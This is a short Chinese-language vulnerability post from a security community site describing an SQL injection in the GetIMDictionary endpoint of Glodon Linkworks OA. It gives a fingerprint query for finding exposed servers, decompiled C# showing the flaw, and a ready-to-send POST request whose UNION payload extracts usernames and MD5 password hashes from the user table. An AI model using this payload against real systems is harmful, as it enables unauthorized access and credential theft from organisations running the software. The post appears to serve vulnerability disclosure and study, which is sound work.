奇安信攻防社区-Glodon Linkworks GetIMDictionary SQL注入漏洞

Glodon Linkworks GetIMDictionary SQL注入漏洞

# Glodon Linkworks GetIMDictionary SQL注入漏洞 ## 漏洞描述 Glodon Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞，发送请求包后可以获取数据库中的敏感信息 ## 漏洞影响...

Glodon Linkworks GetIMDictionary SQL注入漏洞
========================================

漏洞描述
----

Glodon Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞，发送请求包后可以获取数据库中的敏感信息

漏洞影响
----

Glodon Linkworks

网络测绘
----

web.body="/Services/Identification/"

漏洞复现
----

登陆页面

![img](https://shs3.b.qianxin.com/butian_public/f225037a822e3c9c9f64cbad620cc1b27aecbb04aa137.jpg)

```c
// GTP.IM.Services.Config.WebSite.WebService.IM.Config.ConfigService
// Token: 0x06000018 RID: 24 RVA: 0x00004148 File Offset: 0x00002348
[WebMethod(Description = "得到IM系统配置")]
public string GetIMDictionary(string key)
{
    string str = string.Empty;
    ISysConfigService service = ServiceFactory.GetService<ISysConfigService>();
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.AppendFormat("select F_VALUE from T_IM_DICTIONARY where f_key='{0}';", key);
    DataSet dataSet = GSqlDataAccess.SelectDataSet(service.DataSourceName, stringBuilder.ToString(), new DataParameter[0]);
    if (dataSet != null && dataSet.Tables.Count > 0 && dataSet.Tables[0] != null)
    {
        foreach (object obj in dataSet.Tables[0].Rows)
        {
            DataRow dataRow = (DataRow)obj;
            str = dataRow["F_VALUE"].ToString();
        }
    }
    StringBuilder stringBuilder2 = new StringBuilder();
    stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
    stringBuilder2.Append("<result  value=\"" + str + "\" >");
    stringBuilder2.Append("</result>");
    return stringBuilder2.ToString();
}

```

![image.png](https://shs3.b.qianxin.com/butian_public/f2329700e62183863ec929ea25d3ae7816d81b6e1b8c9.jpg)

验证POC

```php
POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
```

![img](https://shs3.b.qianxin.com/butian_public/f4821243e754a959ff50c99ec41af3a40726cf4394117.jpg)

发表于 2024-07-12 18:46:04
阅读 ( 976 )
分类：Web应用

Glodon Linkworks GetIMDictionary SQL注入漏洞

0 条评论